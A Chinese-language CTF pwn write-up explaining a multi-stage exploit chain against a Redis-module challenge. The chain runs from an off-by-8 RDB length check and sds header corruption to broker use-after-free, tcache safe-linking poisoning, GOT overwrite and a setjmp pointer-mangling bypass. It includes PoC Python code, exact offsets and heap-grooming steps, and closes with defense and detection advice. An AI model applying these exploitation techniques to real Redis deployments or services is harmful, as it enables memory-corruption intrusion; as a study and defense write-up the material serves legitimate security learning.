vaultcache:Redis 模块 RDB 长度 off-by-8 破坏相邻 sds 头得到 64KB OOB,broker tcache 投毒与 jmp_buf 校验绕过转接 ledger
ctf/pwn · verified
一句话结论
vaultcache 的入口是 Redis 模块 rdb_load:保存字符串的长度检查允许 0x2FF..0x307,但模块实际只按约 0x2FF 分配/复制,形成固定 8 字节堆溢出。用堆 groom 让被 RESTORE 的记录数据块紧挨在 s1x 的 sds 头之前,8 字节溢出把 sds 的 len/alloc 改成 0xffff、flags 改成 SDS_TYPE_16,GET s1x 返回 65535 字节、SETRANGE 获得 64KB 越界写;随后改模块记录的 data/fptr 接到 vaultbroker,再用 broker 的槽位 UAF + tcache safe-linking 投毒改 GOT(read) 泄露 libc、绕过 setjmp 的指针 mangling 校验并 longjmp 到 relay,接上 routeledger/routecouncil 读 flag。
原理
- RDB 长度检查 off-by-8:模块
rdb_load对保存字符串的长度检查是if (n[0] < 0x2FF || n[0] > 0x2FF + 8) fail;,即允许最多0x307,但模块实际只按0x2FF左右申请/复制,最后多写最多 8 字节。这是“检查上界比实际分配大 8”的典型 off-by-one 家族漏洞。 - RDB 模块流格式:需要
0x07(模块 ID 长度)+ 16 字节模块 ID8155aba5b5179cb000+0x02(UINT opcode,保存长度)+0x05(STRING opcode,保存数据)+ 数据 +0x00(EOF)+ Redis CRC64(反射多项式0x95AC9329AC4BC9B5,小端 8 字节尾);只拼字符串会导致RESTORE直接崩溃。 - 相邻 sds 头:Redis 字符串
s1x用SET s1x <762字节>创建时,sds 实际分配落在 768 字节类(用 768 字节会落到 896 类,必须用 762);模块记录的数据块也是 768 类。堆 groom 让“被 RESTORE 的记录数据块”紧挨在s1x的 sds 之前,8 字节溢出正好落到 sds 头:len=0xffff、alloc=0xffff、flags=0x02(SDS_TYPE_16),之后GET s1x按 0xffff 长度返回 65535 字节,SETRANGE s1x <off> <data>也能越界写 64KB。 - 堆 groom:远程堆被多次探测后已碎片化,直接
PUT r0 -> SET s1 -> DEL r0 -> RESTORE不稳定。稳定做法:先创建 64 个 768 字节 filler 记录消耗空闲 768 类块;VAULT.PUT pad <768>从 top 分配 header/data;SET s1x <762>让 sds 紧跟 pad 的 data;DEL pad释放 pad 的 data/header;RESTORE key1 ...让 rdb_load 的 header/data 复用刚释放的 pad 块,data 正好在 s1 前面;8 字节溢出写入 s1 的 sds 头。 - 泄露模块记录并改 fptr:溢出成功后创建 4 个不同长度的记录(768/800/1024/1280),从
GET s1x的 64KB 数据里按字节扫描记录头:q0==q1、768<=q0<=2048、(q3 & 0xFFF)==0x1E0(默认 fptr 低 12 位);由q4(self)与泄露偏移算 base,modbase=fptr-0x81E0、relay=modbase+0x8940。先用VAULT.RENDER rt768x读一次,响应偏移 96 处带出当前 Redis 客户端指针;再用SETRANGE把目标记录的data改成 client、fptr改成 relay;VAULT.RENDER rt768x调用sub_8940(client),经client+16 -> conn+16 -> fd取出客户端 fd,与/tmp/vault-broker.sock建连,收到VLTB3\n。 - broker 槽位 UAF:每帧
opcode(1) | length(4 BE) | payload;C创建槽位(kind=3分配 0x330,kind=0按数据长度),F只释放底层块、不清槽位指针和 R/E 标志,因此 free 后仍可R/E。槽位数组在base+0x5040,每槽 32 字节:ptr/size/alloc/r/e。稳定布局s=A, s0=A+0x340, ptr=A+0x680, ptr0=A+0x9C0, s1=A+0xDA0,其中s1保存jmp_buf。 - Stage A 泄露堆地址:create 0/1 两个 0x330,free 两个;读 slot0 的 fd 得
fdA,A=(fdA<<12)|0x860、B=A+0x340、s1=B-0xB60、s0=s1-0xA60。把 slot1 的 fd 改成s0^(B>>12)(safe-linking 编码),再 create 0x330 的 slot2/3,使 slot3 的 ptr 落到 s0;读slot3+0x18得到base+0x1309,减 0x1309 得 broker base。 - Stage B tcache 投毒覆盖槽位数组:create 两个 0x3D0 块 slot4/5,free 两个,读 slot4 的 fd;
fdC=read(4,0)、C=(fdC<<12)|(top&0xFFF)、D=C+0x3E0;write(5,0,p64((base+0x5040)^(D>>12)));再 create 两个块,第二次分配返回槽位数组地址,用 payload 写入伪造槽位:slot8 ->base+0x4FE0(GOT(read)),size 0x1000,r=1,e=0;slot9 ->s1(jmp_buf),size 0x3D0,r=1,e=1。R 8 0读 GOT 里的 read 地址,libc_read=...、libc=libc_read-0xF82A0。 - 绕过 T 校验并 longjmp:
T会检查check = ROL(s1 ^ (base+0x1309) ^ libc_read, 23) ^ 0x8B7D51E29AC4630F;setjmp保存的 RSP/RIP 是 pointer-mangled:mangled=ROL(value ^ guard,17)、guard=ROR(mangled_saved_rip,17) ^ (base+0x2116)。先读slot9+0x78得 mangled saved RIP,恢复 guard;写slot9+0x20=check、slot9+0x78=p64(rol((base+0x145A)^guard,17));发T后 longjmp 到sub_145A(broker 连接 ledger 并转接的 relay)。 - 后续:ledger/council 的二进制与 redisrelay 相同,直接复用
ledger_lib.py/council_poc.py:ledger 完成 ping/VM 泄露/key 恢复/manifest/permit/0x40 gate/0x60 隧道;council 完成 nonce/key 恢复、计划、permit、tcache、gate、0x40读 fd4。注意 ledger 阶段已经用 council0x7Fping(seq=1),council 阶段要从seq_start=2开始。 - 坑点:RDB 流必须带 0x02/0x05/0x00;sds 大小类用 762 而不是 768;tcache 投毒要先 free 两个再改第二个 fd;safe-linking 的 fd 要写
target ^ (chunk_addr >> 12);longjmp 栈对齐RSP=chain_addr+8;broker 与 council 不在同一 mount namespace,直接 open/home/ctf/council.flag返回全 0,必须走协议链。
触发条件
- 目标为 Redis 模块 + 多级 broker/vault 的 CTF PWN 题或类似服务;模块有 RDB 反序列化
rdb_load且长度检查与实际分配不一致。 - 能执行
RESTORE、SET/GET/SETRANGE、模块命令(VAULT.PUT/RENDER等),并能构造带 CRC64 的 RDB 模块流。 - 堆布局可通过 filler/pad/释放/复用稳定 groom;能泄露堆/模块基址。
- broker 存在槽位 UAF、tcache 可投毒到槽位数组/GOT/jmp_buf;ledger/council 协议可复用或可逆向。
利用步骤
- 构造
make_payload(saved_len=0x300, blob=768+8字节),RDB 流带模块 ID、0x02/0x05/0x00 与 CRC64。 - 按 groom 序列:64 个 768 filler →
VAULT.PUT pad 768→SET s1x 762→DEL pad→RESTORE key1 payload;GET s1x应返回 65535 字节。 - 创建 4 个不同长度的记录,扫描 64KB 泄露找记录头,算
modbase/relay;VAULT.RENDER泄露 client 指针;SETRANGE改 data/fptr;VAULT.RENDER触发sub_8940接到 broker,收到VLTB3\n。 - broker Stage A:free 两个 0x330,safe-linking 改 fd,create 0x330 让 slot3 指向 s0,读 slot3+0x18 得 base。
- broker Stage B:free 两个 0x3D0,改 fd 指向槽位数组,create 两次返回数组,写伪造 slot8/slot9;读 GOT(read) 得 libc。
- 恢复 guard,写 check 与 mangled RIP,发
Tlongjmp 到sub_145A,连接 ledger。 - 复用
ledger_lib.py/council_poc.py完成 ledger gate、0x60 隧道、council 计划/permit/tcache/gate,0x40读 fd4 拿 flag。
PoC
RDB payload 与 sds 头破坏(按原文结构重写,未在本库复跑):
def make_payload(saved_len, blob):
p = b"\x07" + bytes.fromhex("8155aba5b5179cb000")
p += b"\x02" + enc_len(saved_len)
p += b"\x05" + enc_len(len(blob)) + blob
p += b"\x00\x0b\x00"
p += struct.pack("<Q", crc64(p))
return p
for i in range(64):
r.cmd("VAULT.PUT", f"fill{i}", b"F" * 768)
r.cmd("VAULT.PUT", "pad", b"P" * 768)
r.cmd("SET", "s1x", b"S" * 762) # 762 -> sds 768 类
r.cmd("DEL", "pad")
r.cmd("RESTORE", "key1", "0",
make_payload(0x300, b"A" * 768 + bytes.fromhex("ffffffff02414141")))
g = r.cmd("GET", "s1x")
assert len(g) == 65535
sds 头 8 字节布局:len=0xffff、alloc=0xffff、flags=0x02(SDS_TYPE_16)、剩余 padding。
broker Stage B 关键:
fdC = u64(b.read(4, 0))
C = (fdC << 12) | (top & 0xFFF)
D = C + 0x3E0
b.write(5, 0, p64((base + 0x5040) ^ (D >> 12)))
payload[8*32:8*32+32] = slot(base + 0x4FE0, 0x1000, 1, 1, 0) # GOT(read)
payload[9*32:9*32+32] = slot(s1, 0x3D0, 1, 1, 1) # jmp_buf
b.create(6, 0, b"E" * 0x3D0)
b.create(10, 0, bytes(payload))
libc = u64(b.read(8, 0)) - 0xF82A0
变体与关联
- 长度检查变体:
n[0] > 0x2FF+8这类“上界比实际分配大”的 off-by-N;同类还有<= size+8、len+1、对齐补齐造成的堆溢出。 - sds 头变体:改
len/alloc/flags把短字符串变成 64KB/更大;flags选择 SDS_TYPE_8/16/32/64,需匹配目标堆布局。 - broker 变体:槽位 UAF + tcache safe-linking 投毒到槽位数组/GOT/jmp_buf;setjmp 指针 mangling 的 guard 可由 saved RIP 反推。
- 隧道复用:ledger/council 与 redisrelay 相同,可直接复用协议库;注意 seq 接续。
- 关联卡片:[[ctf-pwn-redis-module-multi-uid-chain-signed-index-tcache-tunnel]](redisrelay 的六层链、负索引与隧道)、[[binary-pwn-heap-safe-linking-self-xor-heap-address]](safe-linking 编码)、[[binary-pwn-heap-uaf-function-pointer-hijack]](UAF 控制流劫持)。
检测与防御
- RDB 解析:保存字符串的长度检查必须与实际分配/复制长度一致;对
rdb_load的每条记录做严格边界校验;不要信任 RDB 中的长度字段。 - sds/字符串:字符串操作使用安全 API,避免相邻 sds 头被越界写;对
SETRANGE的目标长度做完整校验。 - 模块记录:
data/fptr/self使用前校验指针范围与类型;RENDER不要直接调用记录里的函数指针。 - broker:
F释放后清空槽位指针与 R/E 标志;tcache fd 不应能指向槽位数组/.bss/GOT;setjmp保存区放只读/独立映射,校验值使用不可预测的进程级密钥。 - 隔离:council 单独 mount namespace/最小权限;flag 只对 council 可读;禁止
/proc/<pid>/root、/proc/<pid>/mem横向访问。 - 检测:Redis 模块出现异常长度的 RDB 恢复、
GET返回 65535 字节、SETRANGE越界;broker 出现槽位 free 后仍读写、tcache fd 指向非堆地址;进程出现longjmp到 relay 的异常控制流。